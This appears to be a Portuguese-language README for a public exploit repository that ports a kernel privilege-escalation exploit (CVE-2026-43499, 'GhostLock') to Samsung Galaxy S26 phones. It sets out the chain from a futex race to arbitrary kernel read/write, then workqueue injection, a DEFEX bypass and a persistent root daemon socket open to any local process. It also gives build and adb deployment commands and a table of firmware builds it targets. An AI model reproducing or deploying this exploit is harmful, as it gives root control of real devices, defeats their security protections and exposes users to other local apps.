
GhostLock (CVE-2026-43499) para o Galaxy S26
CVE-2026-43499 portado para a série Samsung Galaxy S26 — Android 16 / GKI 6.12. Um binário, três linhas de kernel e correspondência dinâmica de parâmetros em tempo de execução: cobre teoricamente toda a série S26 sem compilação por build.
A maioria dos esforços de portabilidade do GhostLock visa um único dispositivo ou um único firmware. Este repositório é um port novo que reescreve todos os mecanismos para o alvo S26 e deve cobrir toda a família.
Ao manter o snothin/CyberMeowfia, descobri que o canal original de physrw via pipe era instável (ele derrubava a rede), então abandonei essa rota e explorei alternativas. Depois descobri que o monovibe havia avançado mais no caminho que eu explorava, adotei a abordagem e, após várias rodadas de depuração, este repositório tomou forma.
uid=0(root) context=u:r:kernel:s0; shell
root persistente via su_daemon em um socket unix abstrato.work_struct em
system_unbound_wq cuja função é call_usermodehelper_exec_work, de modo que o kernel
executa nosso daemon com credenciais de init. A proteção EL2 do KDP sobre páginas de
credenciais nunca é acionada.pselect + futex PI race
→ one aligned qword write per round
→ attr carrier (two fake misc fds)
controller fd retargets the data pointer
data fd reads/writes any kernel address
→ slide oracle (tracefs)
→ UMH root (workqueue injection)
system_unbound_wq
ptmx open/close storm wakes a worker
kernel execs daemon with init creds
→ DEFEX bypass (bind-mount)
→ su_daemon listens on /data/local/tmp/temp_su.sock
Os parâmetros são correspondidos por linha de kernel (três linhas: cn, intl, exynos), não
por build individual. Builds OTA desconhecidas usam como fallback a linha conhecida mais próxima
por modelo e CSC. Modelos completamente desconhecidos são rejeitados (fail-closed). A lista de
builds embutida é a fonte autoritativa em exploit/src/params_table.c.
Consulte PORTING.md para os parâmetros necessários ao portar para um novo
dispositivo ou firmware.
Requer Android NDK (r26+). Basta executar:
cd exploit
make preload
# produces build/bin/preload.so (exploit) and build/embed/su_daemon_aarch64_pie (embedded daemon)
Envie preload.so, su_daemon_aarch64_pie e ksud para o dispositivo (execute a partir de uma
sessão adb shell, uid 2000):
adb push exploit/build/bin/preload.so /data/local/tmp/
adb push exploit/build/embed/su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-root
adb push <ksud> /data/local/tmp/ksud
adb shell chmod 755 /data/local/tmp/cve-2026-43499-root /data/local/tmp/ksud
# Single attempt:
adb shell "env LD_PRELOAD=/data/local/tmp/preload.so sh"
O exploit é probabilístico (baseado em uma condição de corrida) e normalmente exige várias
tentativas. Em uma execução bem-sucedida, o su_daemon fica ouvindo em
/data/local/tmp/temp_su.sock, e qualquer processo local pode se conectar.
A proteção boot-claim (/data/local/tmp/ghostlock-boot.log) registra o resultado de
cada boot; uma segunda execução da cadeia completa no mesmo boot é rejeitada (pode
travar o dispositivo). Apague o arquivo ou defina BOOT_FORCE=1 para ignorar.
exploit/src/kernelsnitch/)Este repositório é distribuído sob a Licença Apache-2.0; consulte LICENSE para o texto completo e NOTICE para a procedência do código.
| Modelo | Codinome do dispositivo | Builds testadas |
|---|
| SM-S942x (S26 Snapdragon) | m1q | S9420ZCS4AZG1, S942QOPU1AZDE, S942U1UES4AZG3, S942USQS4AZG3 |
| SM-S947x (S26+ Snapdragon) | m2q | S9470ZCS4AZG1, S947USQS4AZG3 |
| SM-S9480 (S26 Ultra CN) | m3q | S9480ZCS3AZF1, S9480ZCS4AZG1 (build testada) |
| SM-S948x (S26 Ultra) | m3q | S9480ZHS4AZG1, S948BXXS4AZG5/6, S948NKSS4AZG3, S948U1UES2AZE1, S948USQS4AZG3 |
| SM-S942B (S26 Exynos) | m1s | S942BXXS4AZG5 |
| SM-S947B (S26+ Exynos) | m2s | S947BXXS3AZF1, S947BXXS4AZG5 |